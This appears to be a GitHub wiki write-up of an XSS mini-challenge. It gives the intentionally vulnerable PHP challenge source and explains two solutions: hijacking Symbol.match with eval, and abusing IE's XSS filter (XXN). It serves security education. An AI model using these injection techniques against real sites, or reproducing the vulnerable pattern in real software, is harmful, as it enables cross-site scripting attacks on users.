-
Notifications
You must be signed in to change notification settings - Fork 222
H5SC Mini Challenge 5
This Min-Challenge was created with two things in mind: ECMA Script 6 Symbols and XXN attacks. Both are highly interesting, especially with complex JavaScript-heavy applications in mind - but similarly, require a couple of stars to be aligned the right way.
This is the PHP source code we used for the challenge:
<?php
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('X-Download-Options: noopen');
header('Content-Type: text/html; charset=utf-8');
?>
<!doctype html>
<h6>A challenge by Masato, FD and .mario</h6>
<h1>The XSS Metaphor</h1>
<p>
Is it real?
<br>
Can it be?
<br>
What is the meaning of life?
<br>
Can you execute <code>alert(1)</code> in this origin?
<br>
Is the vulnerable parameter called <code>xss</code>?
<br>
Does it matter?
</p>
<script type="text/javascript">
<?php
$_GET['xss'] = isset($_GET['xss']) ? $_GET['xss'] : '1';
?>onload=onhashchange=func;
function func(){
try{
<?php echo preg_replace('/[^0-9A-Za-mo-z.\[\]=]/', ' ', $_GET['xss']);?>;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
}catch(e){
throw <?php echo preg_replace('/[^0-9A-Za-mo-z.\[\]=]/', ' ', $_GET['xss']);?>;
}
}
</script>
<p>In scope are recent Chrome, Edge and Firefox browsers.
<br>
There is more than one expected solution. One easy, one hard. Experts will find both. User interaction is not required.</p>
<h2>Winners</h2>
<ol>
<li>You?</li>
</ol>
<p>
Mail <a href="mailto:[email protected]">.mario</a> or <a href="mailto:[email protected]">FD</a> or <a href="mailto:[email protected]">Masato</a> if you did it :)
</p>
As you can see, the challenge here is, that we do have an injection but it is heavily restricted and only allows for a very small range of characters. Letters other than [^0-9A-Za-mo-z.\[\]=]
will be replaced with an empty space, rendering most reasonable script-payloads to be useless.
The first expected solution, basically the idea the challenge was born around was the use of ECMA Script 6 Symbols. Symbols are a very powerful feature but don't receive too much attention in the XSS community. Maybe because they are quite crude in their goals, overly specific - and yet another multi-tool hidden behind one single feature.
Mozilla's MDN has a great write-up about symbols, other websites have goo info too:
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol
- http://blog.keithcirkel.co.uk/metaprogramming-in-es6-symbols/
- http://www.2ality.com/2014/12/es6-symbols.html
Yep, that's JavaScript Meta-Programming right there :)
Now, here is our model solution, working in Chrome 51:
<a
href="https://html5sec.org/minichallenges/5?xss=RegExp.prototype[Symbol.match]=eval#https://cure53.de/=1
alert(1)"
target="_blank"
>CLICK</a>
The following code would be injected into the page:
RegExp.prototype[Symbol.match]=eval
This code would turn the Regex.match()
into an actual eval
. By then matching the following string, the eval
would receive first a label called http:
and then, in the next line, a value that is alert(1)
. Done - challenge solved :)
https://cure53.de/=1
alert(1)
^label ^comment ^newline ^alert :D
This solution and comparable ones, shown below later on, were found by the majority of participants.
This solution was only found by one of the participants. And it involves XXN, one of the most subtle yet powerful attacks that is exclusively affecting MSIE and Edge. XXN, also referred to as "X-XSS-Nightmare" makes use of the risky behavior, MSIE's XSS filter choses to work with in the default configuration.
To get a great into into XXN, best have a look at Masato Kinugawa's outstanding research:
The expected solution number two looks like this:
Now, let's have a very close look at what this does. The original source of the challenge looks like this:
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
Now, when we open the URL above in MSIE11 or Edge, the script all of a sudden changes to this:
u=location.hash^slice(1); // See this? The dot becomes a caret! IE's XSS filter does this.
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
Now, thanks to the XSS filter, the original script gets modified. This enables our injection to step in and enable the rest of the attack to work: slice=alert
.
See, we decoupled slide
from location
by having the IE XSS filter exchange the dot with a caret (which is a valid JavaScript operator). That allows the injection to have effect - and we successfully execute the demanded alert
.
- @xrekkusu 10 chars